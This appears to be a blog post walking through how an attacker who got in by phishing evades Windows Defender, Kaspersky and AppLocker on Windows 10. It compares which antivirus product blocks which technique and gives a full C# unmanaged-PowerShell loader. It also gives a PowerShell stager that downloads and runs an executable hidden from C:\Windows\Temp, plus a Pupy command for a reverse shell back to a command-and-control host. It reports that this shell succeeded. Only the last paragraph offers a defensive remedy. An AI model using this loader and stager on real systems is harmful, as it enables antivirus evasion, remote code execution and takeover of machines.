Windows - undetectable payload

We have learnt that gaining an access to a Windows 10 machine seems possible with enough social engineering employed in our camping. Next step on attackers list would be to use privilege escalation methods should he decides to gain administrative rights on the machine.

I find Xmind a decent tool for organising what we know about Windows Privledge Escalation techniques.

Windows Privledge Escalation (work in progress)

Let's put the theory into practice and imagine a scenario where an attacker managed to place his foot in the door through a phishing campaign and landed on a Windows 10 1809 LTSC, with Windows Defender and Kaspersky AV Total Security enabled.

As an extra security measure cautious local administrator has disabled an access (through applocker) to a command prompt both cmd.exe and powershell.exe for a user operating the system. External network firewall appliance policy is strict to only allow most commonly used ports to be opened and any illegitimate traffic using TCP is being blocked.

Savvy attacker would anticipate above obstacles in advance when designing the malware and due to availability of consumer AV solutions he could test out the effectiveness of each of them beforehand.

Main differences in AV solutions behaviour based on my limited testing: (should be applicable to everyone running the same setup since AV signatures and behaviours are constantly updated with the main database):

Criteria

Windows Defender

Kaspersky AV

Malicious commands stored in the *.txt

not blocked

blocked

Malware adding itself to registry

not blocked

blocked

NPS payload executing PS commands

not blocked

not blocked

Downloads from http or serving known malware

not blocked

blocked

Malware executing system commands

not blocked

blocked (only whoami)

Pyinstaller programs build with -w (no window)

not blocked

blocked

Python malware build with Pyinstaller (on Linux)

blocked

blocked

Python malware build with Pyinstaller (on Windows)

not blocked

not blocked

IronPython SILENTTRINITY

not blocked

not blocked

*NPS payload is creating its own process that hosts the System.Management.Automation.dll and executes powershell commands even if it is blocked by applocker policy. Seems like creating own process this way is enough to bypass AV solutions on the Windows System. Interestingly enough this technique goes back to 2013 and is still a valid applocker and .... AV bypass method. Several projects have included it in their code: UnmanagedPowerShell, SharpPick, PSAttack, and nps.

1) In order to create a stager that will download the malware and run it (an access to Windows native tools such as certutils or bitsadmin can be blocked as well) I used an NPS payload itself with a build in command that will bypass powershell restriction and execute :

(New-Object System.Net.WebClient).DownloadFile("https://url/malware.exe", "C:\Windows\Temp\NPS.exe"); start-process "C:\Windows\Temp\NPS.exe" -WindowStyle Hidden

Quick explanation:

There are actually two powershell commands, first one downloads the malware and saves it in a world-writeable folder C:/Windows/Temp. The second command will run it in the background without opening a window. It is also paramount to base64 encode above command and include it in the below section of Program.cs, compile it and host it on the given URL.

The Program.cs required a slight modification for it to work, it accepts only base64 input:

using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace nps
{
class Program
{
static void Main(string[] args)
{
if (args.Length <= 1)
{
{
PowerShell ps = PowerShell.Create();
//if (args[0].ToLower() == "" || args[0].ToLower() == "")
{
String script = "";
//for (int argidx = 1; argidx < args.Length; argidx++)
//int argidx = ;
{
script += System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String("base64encodedpowershellcommand"));
}
ps.AddScript(script);
}
Collection<PSObject> output = null;
try
{
output = ps.Invoke();
}
catch(Exception e)
{
Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
}
if (output != null)
{
foreach (PSObject rtnItem in output)
{
Console.WriteLine(rtnItem.ToString());
}
}
}
}
else
{
Console.WriteLine("usage:\r\nnps.exe -encodedcommand {base64_encoded_command}");
}
}
}
}

Bonus tip: NPS payload can be used to stage a Pupy shell! where an attacker would also gain an access to many features allowing him to perform either lateral movement on the network or escalate his privilege should the weaknesses in the system exist!

2) Generate a ps1_onliner stager: gen -f ps1_oneliner connect --host 192.168.1.108:443 -t http

Copy the base64 generated goodness to an NPS payload and compile it under Windows with Visual Studio. The resulted executable ony 6k in size will be undetectable by Kaspersky:

Successful reverse shell back to Pupy C&C server from Windows 10 Machine running Kaspersky AV.

Conclusions and recommendations:

Executing the payload and gaining back a control of the compromised machines was possible due to NPS payload not being detected by an AV (yet). After issuing a command "whoami" or "whoami /priv" we immediately have lost the connection and our NPS payload has been added to AV signatures. However this type of protection isn't robust enough as an attacker can use an external program to obfuscate the source code just slightly enough to fool AV signatures. The remedy to that problem can be an Applocker rule that is blacklisting the modified System.Management.Automation.dll (since NPS payload relies on it) if possible.